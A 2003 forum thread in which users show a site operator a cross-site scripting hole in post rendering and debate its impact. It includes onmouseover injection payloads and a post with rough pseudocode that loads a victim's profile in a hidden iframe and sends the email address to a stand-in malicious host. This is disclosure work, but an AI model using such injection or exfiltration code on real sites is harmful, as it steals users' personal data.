jdong
Eat A Beaver, Save A Tree.
Premium
join:2002-07-09
Rochester, MI
clubs:  
| reply to bobince
Re: DSLreports Clicking a link in forums?
quote:
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/"onmouseover="al···ello!');
LOL
»www.doxdesk.com/"onmouseover="wi···opup!');
Less harmful version, since popup blockers usually stop this one...
You guys, STOP MAKING ME HOLD DOWN CTRL! LOL
--
---This area is intentionally left blank.--- |
|
bobince
join:2002-04-19
DE
| reply to nil
(Of course, I blame IE, netscape/mozilla know better than to execute that). Actually the second example does work on Mozilla (1.1 at least).
Mozilla doesn't load javascript: URLs in image elements, which is indeed much more sensible than IE. But there are many other strategies for script injection.
We'll work on removing javascript altogether though. Let me know if you need a hand, or want some testing. As a webapp author I've been collecting various script injection attacks!
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/"onmouseover="al···ello!');
|
|
Sarick
It's Only Logical
Premium
join:2003-06-03
USA
 ·FrontierNet Intern..
|  reply to Sarick
I would like to thank everyone who took part in this topic my thanks to everyone who added to the topic and helped it's success. 
This was an educating experience I won't soon forget. |
|
Sarick
It's Only Logical
Premium
join:2003-06-03
USA |  reply to Sarick
Ok it seems to have been confermed. :|
WTG guys.
Nil it looks like your contest to prove the vulnerabilty was a success. No grins here :|
Are there plans to make changes that block Java inside the fourm? |
|
dp
Go Steelers
Premium,MVM
join:2000-12-08
Greensburg, PA
·Verizon Online DSL
| reply to nil
said by nil  :
Okay, you've made your point
(Of course, I blame IE, netscape/mozilla know better than to execute that)..
We'll work on removing javascript altogether though.
IE is the devil.
--
Write your questions down on the back of a $20 dollar bill and send them to me |
|
nil
Java Geek
join:2000-11-27
Host:
Webmasters and Dev..
Forum Feature Requ..
| reply to bobince
Okay, you've made your point
(Of course, I blame IE, netscape/mozilla know better than to execute that)..
We'll work on removing javascript altogether though.
--
Life is too short to be boring |
|
bobince
join:2002-04-19
DE
| reply to Sarick
Here's another demo for you:
»/forum/remark,···ode=flat
Are you satisfied yet?
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/ |
|
bobince
join:2002-04-19
DE
| reply to Sarick
Marilla's right. Once you let untrusted JavaScript onto your site, you have lost.
If you want an exploit that actually *does* steal the e-mail address rather than just alert() it, I'd suggest making somewhere hidden to post it.
It can of course be done without creating a new window, too - that was just the quickest way I could think of to demonstrate.
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/ |
|
Marilla
I Am My Own Arbiter
Premium
join:2002-12-06
Belpre, OH
| reply to Sarick
Possible Mitigating Factors:
I see that the profile form has "type=hidden" set on it. To my knowledge, that's not something typicaly used on the FORM ITSELF.. usually it's used on elements that you want to store information on to be re-submitted to the website but that you don't want the user to be able to change... I'm wondering if, perhaps, putting this attribute on the FORM tag itself hides the form from, say, Javascript? I *don't* believe that to be the case, however, because I believe that form elements of type=hidden are perfectly 'seeable' by Javascript, as well... they simply don't get displayed on the page itself... I can't imagine a use for that attribute, but if it really does that, perhaps that helps.
Second, as I noted, it does not appear as though your password is sent to that web page anywhere at all, so it cannot be used to actually access your account by 'stealing' your password. |
|
Marilla
I Am My Own Arbiter
Premium
join:2002-12-06
Belpre, OH
| reply to nil
Here's the thing, nil;
Javascript has 'permission' to access all the data on the web page it loads up... Say there's Javascript on this posting page I'm looking at now.. it has 'permission' to check this posting box and, say, make sure there's content in it at all, and pop up an 'alert' if I try to submit it without content (it DOESN'T, but I'm saying, Javascript COULD do that)
Basically, Javascript on THIS PAGE has access to ALL the information on this page, including the information I type into this box.. or information that was loaded on the box to begin with... such as the box that shows your 'e-mail' when viewing your account information.
You're with me so far, yes?
Now follow me a little further here: Javascript ALSO has permission to access form data on 'frames' or other elements that IT LOADS itself, from the same domain. For example, if there was a frameset page for this.. the frameset page used Javascript to load a page in each of two frames. Assuming your Javascript knows the form names of anything on either of the two frames, it would be able to access THAT information, too - because IT forced the loading of those pages, and those pages are on the same domain. I'm actually not sure that the first requirement is neccesary, in fact... and I hope like heck that the second one is... but I DO know that Javascript is perfectly capable of accessing the FORMS data that is currently in any text box, select, checkbox, etc, that is displayed in the same browser window as it, if the 'other pages' in the browser window are from the same domain.
Now, so far, all of this is OK; there's no specific 'vulnerability' in any of this really - provided you trust a certain website... certainly you wouldn't mind a certain website knowing information that it already knows.. hehe.
However... here's the problem: Because people can type text, HTML, and therefore Javascript into this website, this website essentially has the whole public world as a potential 'Web designer'. Right now, I am authoring a page on BroadbandReports.com; Anything I type into this box right here gets displayed with the same 'permissions' as though it were the original designer of this whole website doing it.
I have to do this in 'pseudo code', because I don't recall the exact names and such to do this, but I know this is how it would be done.. ALL of this could be done in the SRC="" attribute of an Image tag, for example... meaning it could all happen automatically on opening of a post. Note that everything I'm posting here is stuff that Javascript CAN do... also remember that Javascript has ALL the 'permission' it needs to do this, because as far as the browser is concerned, the code it's reading was written by the web designer of Broadbandreports.com; the browser has NO way of knowing that the script it's encountered was written by some anonymous bloke!
First; the code would create an 'Iframe' somewhere on the page - most likely somewhere hidden, or so small that it wouldn't be seen at all.
Second; it would load the victim's broadbandreports.com account page in that iframe. Load up: http://www.broadbandreports.com/prof right now... no matter WHO you are, if you are logged in, that page will show your information. In this particular case, your e-mail address is the most 'sensitive' piece of info displayed there. Lukcily, it seems that your PASSWORD is NOT displayed on that page, even 'hidden' in the HTML (hidden in such a way would NOT be hidden at all from this exploit)
Next, that very same Javascript contained in that IMG SRC="" thing would next access the frame through the standard collections that hold every frame, iframe, etc that is contained in a window.. it could probably do it by name, because the script could have named the iframe itself when it created it.
Next, once it's using the proper object to get to that Iframe, it then would need to find either the form name, or the form index of the form that contains all that info. That form happens to be un-named, but it can be found be referring to the forms() collection of the document object... someone could "View Source" on that page just once to figure out which Index it would have. Even if it changed, code could be put in which would simply find the right one..
Because then, all once you have the document (frame) and form, you just need to know the name of the form element you want. In this case, the form element in question is named, predictably, "email".
All the above would work in one line, though.. something like:
DummyVariable = window.CreatedIFrame.Forms(1).email;
and then all we need is:
CreatedIFrame.URL = ("www.maliciouswebsite.com/capture.php?cap=" + DummyVariable);
================================================
I'm REALLY rusty on the particulars; I don't know the proper names and arguments to use here, but I KNOW these things can be done. Let me take a wild stab at this, and someone who knows better about Javascript can verify the concept anyway - my suggestion would be that at this stage, NOT to provide the exact code, however... that would be akin to handing someone the whole process - which we're nearly doing anyway.
Of course, for anyone thinking of possibly exploiting such a thing right now, I should add this information, before I continue:
1-The only 'personal' information you can really get is someone's e-mail address. Passwords are NEVER sent to the web browser in any form, and NO ONE has shown ANY method at all for COOKIES to actually be gotten at all by this method - I DO maintain that I do not believe that can be done. What I'm about to post can't remotely be used to do such a thing.
2-Un-registered users cannot put HTML in posts at all. To my knowledge, that leaves them with no way to do this. Which means...
3-People who do this will leave a 'trail' back to themselves by way of a valid e-mail address. But wait, there's more!
4-This also requires that the person in question have a web server to which to direct the traffic, and the nature of this traffic would be such that it would be easy for an ISP to verify the malicious nature of what's going on.
5-In short, it's a lot of 'trouble' to possibly get into, for information that's not particularly all that great.
==================================================
So, onto my 'bad code' to do this. Note that everything I'm about to type would ALL go within one IMG SRC=""... right between the quotes. For those not familiar, the semicolons; indicate the end of a line of code; That's one reason this can be done.
One further thing... to make things MUCH easier for me, every time you see { or } below, assume I really mean the greater than/less than signs.. if I just type them, they'll be converted to actual HTML, and you won't get to see hat I'm typing.. and I'm too lazy to actually type the > stuff! hehe
Again, also, note that I'm not familiar with the Iframe HTML or EXACTLY how Javascript handles locating and identifying frames and IFrames.. so I am almost certainly mangling the syntax here... I'm just giving a rough idea how it might be done.
document.write ('{iframe xpos=-3455 ypos=-999 width=2 height=2 URL=That-profile-page-link-I-showed name=CreatedIFrame}');DummyVar=window.CreatedIFrame.form(1).email;CreatedIFrame.URL=('www. malicioussite.com/gather.php?info=' + DummyVariable);
And that's pretty much it. |
|
nil
Java Geek
join:2000-11-27 | reply to Sarick
Actually, no, because JavaScript is client side. |
|
Sarick
It's Only Logical
Premium
join:2003-06-03
USA | reply to Buddel3
If you can see it isn't it possible that the link that loads your data offloads it to the attacker? |
|
Buddel3
join:2003-03-26 | reply to nil
You are right. If I'm the only person who can see my own email address, I don't think it's something to worry about. I wouldn't call this a security risk either. |
|
nil
Java Geek
join:2000-11-27 | reply to Buddel3
That's my point.. it just show *you* what *you* have access to.. not to others what they don't. It's not a security risk at all.
--
Life is too short to be boring |
|
Buddel3
join:2003-03-26 | reply to nil
Yes, I could see my own email address after clicking on this link. The question is whether it can be seen by other people as well. |
|
nil
Java Geek
join:2000-11-27
Host:
Webmasters and Dev..
Forum Feature Requ..
| reply to bobince
hum, okay.. so what's my email address? I did click on it..
It didn't open a new window for me.. but for those that did.. did it show you *your* /prof or someone elses?
Which is my point.. yes, you can show them their own email address.. big deal.. doesn't mean you can steal it..
--
Life is too short to be boring
[text was edited by author 2003-07-27 12:18:52] |
|
bobince
join:2002-04-19
DE
| reply to nil
to make this more secure I can create a private forum to which only you and I can post? That sounds like not a bad idea.
I don't think you can do this.. Here's an e-mail stealing exploit:
»/forum/remark,···#7511839
Feel free to delete once tested!
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/ |
|
jdong
Eat A Beaver, Save A Tree.
Premium
join:2002-07-09
Rochester, MI
clubs: | reply to nil
Hmm, the simplest way of patching this hole:
Check that all SRC and HREF start with http(s)/ftp, if they don't add them.
--
---This area is intentionally left blank.--- |
|
nil
Java Geek
join:2000-11-27
Host:
Webmasters and Dev..
Forum Feature Requ..
| reply to Marilla
Hm, well, to make this more secure I can create a private forum to which only you and I can post? That way nobody will accidentally stumble and scream to heaven about their security being compromised..
I don't think you can do this.. but if you can, more power to you and then we'll at least know we have to patch up a serious hole.
--
Life is too short to be boring |
|
Marilla
I Am My Own Arbiter
Premium
join:2002-12-06
Belpre, OH
| reply to nil
Just one note about this, before I actually start working on it (as I posted in the comments on the news item related to this, I am terribly busy this weekend... we publish a monthly paper, and monday is when it gets printed!)...
First, you are aware that this will require that we force redirection to another website, right? I also want to make sure that NO ONE innocently clicks on the link to the thread I will start, as if this works, even clicking on that link will cause... err.. nevermnd; I think we've already shown that by putting Javascript in the IMG tag SRC attribute, it can load automatically... so now we can just put the Javascript in an A tag with copious warnings that it is a test of an exploit that steals personal information, and then the website link itself could, perhaps simply report back your own e-mail... since it will be loading at a TOTALLY DIFFERENT web domain, I think that the site simply displaying the e-mail would be sufficient? I promise that if I do this, I WON'T use any 'client side' tricks to cause the e-mail to display - the SERVER itself will put the e-mail on the page, meaning the server could just as easily have stored the information.
As I'm going through this... and I still may do it... something strikes me.
This offers no way to know someone's PASSWORD for their account, since, I'm assuming, the account page does not display the password, in text or in HTML. I'd still consider it troublesome to be able to get something like the e-mail (and assuming I get the thumb'-up on what I've noted above) I'll still do the proof of concept, if I can.. although it may be better for someone more familiar with Javascript to do it.. hehe.. I'd need to do a bit of referring to references, first! |
|
